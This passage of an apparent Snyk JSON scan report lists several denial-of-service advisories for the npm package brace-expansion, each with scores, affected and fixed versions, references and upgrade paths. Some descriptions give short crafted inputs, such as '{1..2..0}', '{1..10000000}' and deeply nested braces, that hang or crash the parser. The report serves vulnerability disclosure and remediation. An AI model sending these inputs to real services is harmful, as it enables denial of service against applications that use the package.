"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": 